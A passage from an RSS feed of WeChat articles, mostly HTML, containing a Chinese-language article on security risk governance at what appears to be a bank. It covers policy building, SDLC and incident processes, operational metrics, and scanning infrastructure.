inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.44537037037037036" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1080" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4cafbfbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibmMmZfEZvk0RrkVTJwmAT49ZaOc4vYNjpvfrFCZzZLzLTvQNuDP7sVw%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.44537037037037036" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1080" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aec647e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibXKSia08cboVNsbwKGa7en4UicYFTlXrmd4PyAQOicIPt6jRGlMib0E7lyA%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.4425925925925926" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1080" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=f10bc962&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibJgKMu2gWUKibh8PVotvic8PLx58YdrFial6S0Oatca7u5VvbhO8fGTBKw%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-svg-role="block" data-svg-op="delete" data-svg-blockname="描述性文字"><p style="line-height:32px;margin: 10px;"><span style="font-size: 12px;color: #a5a5a5;">左右滑动查看更多</span></p></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:center;clear: none;color: rgba(0, 0, 0, 0.8);font-size: 14px;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, Arial, sans-serif;"><br/></p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484949">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ab99f1c9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484949%26idx%3D1%26sn%3Dfd6b235dbde5f241bcb029b6e6052279%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Jan 2023 14:05:00 +0800</pubDate>
    </item>
    <item>
      <title>管理治理联动，助力安全风险管控能力提升</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484911&amp;idx=1&amp;sn=2d8d4db958812e4e8596f4dff379e340</link>
      <description>数字化时代科技安全风险治理面临巨大挑战，安全团队需要思考从运动式检查转为长效化管控。</description>
      <content:encoded><![CDATA[<p>
原创 <span>kk</span> <span>2023-01-17 18:00</span> <span style="display: inline-block;">上海</span>
</p>

<p>数字化时代科技安全风险治理面临巨大挑战，安全团队需要思考从运动式检查转为长效化管控。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=95ba81aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhVZREC8ATjSgy0VibcV3qn5LHiatoZS7ZiaOHdFibDDoPsoHDSn9EfdOVfA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section data-mpa-powered-by="yiban.io"><section data-mid=""><section data-mid=""><section mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="padding-right: 14px;padding-left: 14px;display: flex;justify-content: center;align-items: center;width: 578px;"><section data-mid="" mpa-from-tpl="t" style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 578px;"><section data-mid="" mpa-from-tpl="t" style="margin-bottom: -8.5px;margin-left: -4px;width: 14px;height: 12px;align-self: flex-start;z-index: 1;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="87522" data-color="#4f81bd"><section style="margin-top: 10px;padding: 15px;color: rgb(79, 129, 189);background-color: rgb(245, 245, 244);box-sizing: border-box;"><p><span style="font-size:15px;">&#34;本文从数字化风险和安全能力建设的角度，分析了当前数字化时代科技安全风险治理面临的挑战，并提出一套以安全为核心的风险治理方法，用以治理和管控各类应用安全风险和数据安全风险。&#34;</span></p></section><section style="text-align: right;"><section style="box-sizing: border-box;width: 278px;display: inline-block;height: 20px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/6PBwKvwj1Z7DuOTtLC9nwLcSQCh9LjJGVvy3CjibiaQleyP7IuEkh1BjBfdhgvJTxHdorV7SLhgtnv1ricmDxQ5PA/640?wx_fmt=png&#34;);background-size: 100% 100%;background-repeat: no-repeat;overflow: hidden;"><br/></section></section></section><section data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;padding-right: 14px;padding-left: 14px;white-space: normal;box-sizing: border-box;display: flex;justify-content: center;align-items: center;width: 578px;max-width: 100%;"><p><span style="color: rgb(0, 0, 0);text-align: left;caret-color: rgb(255, 0, 0);background-color: rgb(230, 238, 244);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, sans-serif;"><br/></span></p><p><span style="color: rgb(0, 0, 0);text-align: left;caret-color: rgb(255, 0, 0);background-color: rgb(230, 238, 244);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, sans-serif;"><br/></span></p></section><section data-role="title" data-tools="135编辑器" data-id="108585" style="margin-bottom: 0px;white-space: normal;"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="margin-top: -14px;margin-right: -8px;box-sizing: border-box;width: 16px;height: 3px;background-color: rgb(0, 0, 0);overflow: hidden;"><br/></section><section style="padding-right: 25px;padding-left: 25px;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: rgb(0, 0, 0);line-height: 28px;"><span style="font-size: 14px;">面临挑战及应对思路</span></section></section><section style="box-sizing: border-box;width: 30px;height: 30px;background-color: rgb(0, 0, 0);display: flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);"><br/></section></section></section></section></section><section data-mid="" mpa-from-tpl="t"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="234" data-backw="578" data-galleryid="" data-ratio="0.40476190476190477" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="714" src="https://wechat2rss.xlab.app/img-proxy/?k=951109e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhhHvqAiadq3wkicZT2buz5jhSjhgd5jev1vbFFTm4jTRsXJsMWyWaX3tQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 5px;text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">数字化时代科技安全风险治理面临巨大挑战</span></p><p style="margin-top: 5px;text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);"><br/></span></p><p style="margin-top: 5px;text-align: left;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">结合风险挑战下凸显的安全问题及各类监管要求，明确由安全部门和合规部门参与主导的风险治理需求和目标，形成一套能力完备、可成长的安全管理体系，从运动式检查转变为长效化管控，多方协同，扭转安全管理的被动局面。</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="242" data-backw="578" data-galleryid="" data-ratio="0.41893644617380027" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="771" src="https://wechat2rss.xlab.app/img-proxy/?k=88878e37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhPYJgXeGS14MibOibW4LicRt0oaYxoDBvaiauwcvntM3V4GuHH5WxTgkicQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">安全治理整体思路</span><br mpa-from-tpl="t"/></p><section data-mid="" mpa-from-tpl="t"><p data-mid=""><br mpa-from-tpl="t"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="315" data-backw="578" data-galleryid="" data-ratio="0.5457875457875457" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=f98e1df5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhGP3Lb9pQGERqTYvicY2UAQckmSZTUTibSFyDap0trde3FyZjWhUCApRQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">科技安全及合规风险治理总体需求及目标(基于全行信息安全及合规管理方针)</span></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);"><br/></span></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;overflow: hidden;"><br/></section><section style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #000;line-height: 28px;"><span style="font-size:14px;">安全管理体系部分详述</span></section></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section></section></section><section data-mid="" mpa-from-tpl="t"><br/></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-tools-id="77276" mpa-from-tpl="t"><section mpa-from-tpl="t" style="margin-right: 10px;margin-left: 10px;display: flex;justify-content: flex-start;align-items: flex-end;"><section mpa-from-tpl="t" style="width: 30px;height: 30px;background: rgb(70, 83, 149);line-height: 30px;border-radius: 5px;z-index: 5;"><p style="font-size: 15px;color: rgb(255, 255, 255);text-align: center;">01</p></section><section mpa-from-tpl="t" style="margin-left: -2px;padding-right: 10px;padding-left: 10px;border-width: 1px;border-style: dashed;border-color: rgb(70, 83, 149);height: 30px;line-height: 30px;"><p style="font-size: 15px;color: rgb(70, 83, 149);text-align: center;letter-spacing: 1.5px;">制度建设</p></section></section></section><p><br/></p></section><section data-mid=""><span style="font-size: 15px;"><span style="text-align: left;">基于风险治理的总体需求和目标，建立健全全流程安全管理制度</span>。制度规范作为安全防护要求、管理策略、操作规程等集合，一般需要覆盖以下几点要求：<br/></span></section><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 15px;color: rgb(56, 54, 54);"><p><span style="color: rgb(56, 54, 54);font-size: 15px;">角色及职责界定</span></p></li><li style="font-size: 15px;color: rgb(56, 54, 54);"><p><span style="color: rgb(56, 54, 54);font-size: 15px;">明确适用范围</span></p></li><li style="font-size: 15px;color: rgb(56, 54, 54);"><p><span style="color: rgb(56, 54, 54);font-size: 15px;">明确安全管理要求</span></p></li><li style="font-size: 15px;color: rgb(56, 54, 54);"><p><span style="color: rgb(56, 54, 54);font-size: 15px;">需要遵循的操作及处置流程</span></p></li><li style="font-size: 15px;color: rgb(56, 54, 54);"><p><span style="color: rgb(56, 54, 54);font-size: 15px;">例外处理办法</span></p></li></ul><p><span style="font-size: 15px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">目前行内已发布实施涵盖数据安全、应用安全、研发流程安全等制度规范，如</span>《应用安全管理规范》、《数据安全管理规范》、《开源软件安全管理实施细则》等，<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">同时为预防和应对变化的风险趋势， 我们也在不断细化、完善、更新制度体系。</span></span></p></section></section></section><p><span style="font-size: 14px;"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-tools-id="77276" mpa-from-tpl="t"><section mpa-from-tpl="t" style="margin-right: 10px;margin-left: 10px;display: flex;justify-content: flex-start;align-items: flex-end;"><section mpa-from-tpl="t" style="width: 30px;height: 30px;background: rgb(70, 83, 149);line-height: 30px;border-radius: 5px;z-index: 5;"><p style="font-size: 15px;color: rgb(255, 255, 255);text-align: center;">02</p></section><section mpa-from-tpl="t" style="margin-left: -2px;padding-right: 10px;padding-left: 10px;border-width: 1px;border-style: dashed;border-color: rgb(70, 83, 149);height: 30px;line-height: 30px;"><p style="font-size: 15px;color: rgb(70, 83, 149);text-align: center;letter-spacing: 1.5px;">流程建设</p></section></section></section><p><br mpa-from-tpl="t"/></p></section><p><span style="font-size: 15px;">流程建设分为「事件处理型」和「研发流程型」。</span></p><p><br/></p><p><span style="font-size: 15px;">风险事件从上报到验证关闭，全流程状态通知，并逐级抄送，提升处置时效。并将流程中的数据打通，可提供丰富直观的报表，降低运营成本的同时也让运营工作更加精细化。</span></p><p><span style="font-size: 14px;"><img class="rich_pages wxw-img" data-ratio="0.23376623376623376" data-w="1232" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ae554cdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhyibFlJImbzG7Ecbrr0KpWDxXj83iacIstvKyYNc8VZsqkwmb09sSVGWw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">一般事件类处置流程</span></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);"><br/></span></p><p><span style="font-size: 15px;">经过安全团队的严格推进和研发团队的定制化实践 ，行内SDLC执行已逐渐由安全主导转变为开发主导，契合DevOps流程。研发流程配合安全统一管控，实现自动化能力提升，安全也可做到过程数据卡点管控，对发现的漏洞执行溯源。</span><br/></p><p><img class="rich_pages wxw-img" data-backh="147" data-backw="578" data-ratio="0.2548131370328426" style="width: 100%;height: auto;" data-type="png" data-w="1766" src="https://wechat2rss.xlab.app/img-proxy/?k=bf3ff261&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhq967H2JaEjIfZgRynx5FvLQwSwSU3N3tnxp0g6rMKsCziaFl69mErow%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">结合SDLC的DevOps安全与风险管控机制</span></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);"><br/></span></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 15px;">随着安全服务和安全能力的不断成长和进化，安全管控体系中的执行要求、检查、控制、保障，绝大部分由工具自动化静默执行。安全工具和卡点管控嵌入到需求管理、测试管理、版本管理等各类流程中，从另一方面来说，也保证了需求必须按照标准化流程流转。</span></p><p><img class="rich_pages wxw-img" data-backh="273" data-backw="578" data-ratio="0.47244094488188976" style="width: 100%;height: auto;" data-type="png" data-w="889" src="https://wechat2rss.xlab.app/img-proxy/?k=48009573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhYpMMxmLMiaWYr5T2xL21UfIo1y54LfQ9w9AI3oYV7KgafM9gL9u4JRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">研发安全风险管控具体流程</span></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);"><br/></span></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 15px;">在SDLC的安全测试环节，包括人工测试、工具扫描发现的漏洞，统一在<span style="color: rgb(0, 0, 0);text-align: left;">sop安全运营平台</span>实现闭环管理。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="268" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="268" data-galleryid="" data-ratio="0.35470668485675305" data-s="300,640" style="width: 578px;height: 205px;" data-type="png" data-w="1466" src="https://wechat2rss.xlab.app/img-proxy/?k=da7ce4c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5m1iagiaHNxr5js4h4JPsibpRibt6sNXNvQeKvwMyQDeegicUTSPwkjVv7v2VuWILDohnD2kNeiaibdh1vA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">漏洞处理流程</span></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-tools-id="77276" mpa-from-tpl="t"><section mpa-from-tpl="t" style="margin-right: 10px;margin-left: 10px;display: flex;justify-content: flex-start;align-items: flex-end;"><section mpa-from-tpl="t" style="width: 30px;height: 30px;background: rgb(70, 83, 149);line-height: 30px;border-radius: 5px;z-index: 5;"><p style="font-size: 15px;color: rgb(255, 255, 255);text-align: center;">03</p></section><section mpa-from-tpl="t" style="margin-left: -2px;padding-right: 10px;padding-left: 10px;border-width: 1px;border-style: dashed;border-color: rgb(70, 83, 149);height: 30px;line-height: 30px;"><p style="font-size: 15px;color: rgb(70, 83, 149);text-align: center;letter-spacing: 1.5px;">运营分析</p></section></section></section></section><p><br/></p><p><span style="color: rgb(0, 0, 0);font-size: 15px;">应用安全的持续运营，能够打通各环节的建设内容，促进整个体系良性发展。</span></p><p><span style="color: rgb(0, 0, 0);font-size: 15px;">安全运营分析包括三个方面：</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">运营指标</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：支持多类型事件、多维度数据分析，对安全团队自身运营质量和其他团队的执行质量都有数据化展示分析，<span style="color: rgb(0, 0, 0);font-family: arial;text-align: start;background-color: rgb(255, 255, 255);">最终形成制度化考核机制，对涉及的人、过程、技术进行综合评估</span></span></p></li><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">高效汇报机制</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：定期通过邮件、例会等形式同步各干系人运营质量及安全要求，自上而下推动风险管控和制度的更新迭代</span></p></li><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">持续运营提升</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：依据上一轮成效评估，持续改进管理过程和运营手段，<span style="color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, PingFangSC;text-align: start;background-color: rgb(255, 255, 255);">实现对业务的价值输出目标</span></span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="321" data-backw="578" data-galleryid="" data-ratio="0.5554187192118226" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="812" src="https://wechat2rss.xlab.app/img-proxy/?k=95e1b263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhicRCGofQbjyHQumj98UB3KCBdThiaAhORsKlflz0z7M0bIMmreyJUBCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgb(108, 103, 103);font-size: 13px;">安全运营分析的三个方面</span></p><p style="text-align: center;"><span style="color: rgb(108, 103, 103);font-size: 13px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 15px;"><span style="color: rgb(0, 0, 0);">安全运营是一个长久化、持续性过程。尤其是在行内数据量庞大，组织架构复杂、信息分散的背景下，运营机制的自动化和</span><span style="background-color: rgb(255, 255, 255);color: rgb(35, 24, 21);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, 微软雅黑, Tahoma, Arial, sans-serif;">可视化，很大程度上决定着运营质量和效率。我们要做的是一个实时汇总，能够感知全局安全态势的平台，通过大数据分析提供新一轮迭代优化的依据。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="255" data-backw="578" data-galleryid="" data-ratio="0.44114285714285717" data-s="300,640" style="white-space: normal;text-align: center;width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=c65c1fce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhhPiblNSzKcicwdk32zZuHCOwXXux3I8TMo9QI1pbKDVepen3ZkyhS6fA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 13px;color: rgb(108, 103, 103);">各类风险报表化展示</span></p><p style="text-align: center;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-tools-id="77276" mpa-from-tpl="t"><section mpa-from-tpl="t" style="margin-right: 10px;margin-left: 10px;display: flex;justify-content: flex-start;align-items: flex-end;"><section mpa-from-tpl="t" style="width: 30px;height: 30px;background: rgb(70, 83, 149);line-height: 30px;border-radius: 5px;z-index: 5;"><p style="font-size: 15px;color: rgb(255, 255, 255);text-align: center;">04</p></section><section mpa-from-tpl="t" style="margin-left: -2px;padding-right: 10px;padding-left: 10px;border-width: 1px;border-style: dashed;border-color: rgb(70, 83, 149);height: 30px;line-height: 30px;"><p style="font-size: 15px;color: rgb(70, 83, 149);text-align: center;letter-spacing: 1.5px;">配套的基础设施建设</p></section></section></section><p><br mpa-from-tpl="t"/></p></section><p><span style="color: rgb(0, 0, 0);font-size: 15px;">围绕安全风险治理的需求提出的治理体系框架，除了管理体系建设、标准化流程管理、运营质量分析，还必须有基础设施支撑：</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">流量分析检测平台</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：通过专有扫描环境，灵活定制扫描规则，实现实时/周期记录、扫描多场景数据</span></p></li><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">代码扫描平台</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：IDE插件自助检测增量/全量代码，覆盖传统安全漏洞和合规治理检测规则</span></p></li><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">应用堆栈分析平台</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：结合行内APM监测工具的安全风险扫描平台，可检测传统安全漏洞和开源组件类风险扫描</span></p></li><li style="font-size: 15px;"><p><strong><span style="color: rgb(0, 0, 0);font-size: 15px;">开源软件安全治理</span></strong><span style="color: rgb(0, 0, 0);font-size: 15px;">：专项治理开源软件，实现组件漏洞应急响应、组件依赖分析及安全版本查询，推动行内架构和服务治理、统一组件开发和接入</span></p></li><li style="font-size: 15px;"><p><span style="color: rgb(0, 0, 0);font-size: 15px;">…………</span></p></li></ul><p><img class="rich_pages wxw-img" data-backh="270" data-backw="578" data-galleryid="" data-ratio="0.46772068511198944" data-s="300,640" style="text-align: center;white-space: normal;width: 100%;height: auto;" data-type="png" data-w="759" src="https://wechat2rss.xlab.app/img-proxy/?k=1be1d13d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhbHAlQ7NceIZ1fZ0XRhicF2s7yr7h1EEKyQuWYXEo9TDsfFc0IPhmffg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgb(108, 103, 103);font-size: 13px;">应用周期涉及的安全基础设施</span></p><p style="text-align: center;"><br/></p><p><img class="rich_pages wxw-img" data-backh="373" data-backw="578" data-galleryid="" data-ratio="0.6445221445221445" data-s="300,640" style="text-align: center;white-space: normal;width: 100%;height: auto;" data-type="png" data-w="858" src="https://wechat2rss.xlab.app/img-proxy/?k=68f8a31d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6MA6tgqgmt9yacSqJvXIZhFV4RsN45fibk83tBGx3nXJjQlXibnlWRuD4tPZWibhjOxPAeic8zBacZrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgb(108, 103, 103);font-size: 13px;">流量分析检测</span><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;overflow: hidden;"><br/></section><section style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #000;line-height: 28px;"><span style="font-size:14px;">写在最后</span></section></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section></section><p><br/></p><p><span style="font-size: 15px;">安全风险治理体系的建设非一朝一夕，也非一成不变，这里有一个基本思路可以参考：</span></p><section data-tools="135编辑器" data-id="88288" data-color="#4f81bd"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="padding: 10px;background-color: rgb(239, 239, 239);box-sizing: border-box;"><section><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">一、识别主要风险</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">二、制定治理方案</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">三、定制规则试点运营</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">四、制定风险治理流程</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">五、完善规范制度</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">六、消灭存量管控增量</span></p><p><span style="line-height: 1.6em;font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">七、持续运营提升</span></p></section></section><section style="margin-top: -4px;width: 100%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);" data-width="100%"><section style="width: 50px;height: 4px;background-color: #4f81bd;color: #fefefe;margin-left: auto;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-align: left;text-indent: 2em;color: rgb(51, 51, 51);"></span><br/></section></section></section></section><section style="text-align: left;text-indent: 0em;"><span style="font-size: 15px;text-indent: 2em;"><span style="font-size: 15px;">遵循复盘优化、循环上升的思路，梳理出需求和目标， 协调安全、业务、研发、架构等部门的</span><span style="font-size: 15px;">参与配合，管理治理联动，助力安全风险管控能力提升。</span></span></section><section style="text-indent: 2em;"><br/></section><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>

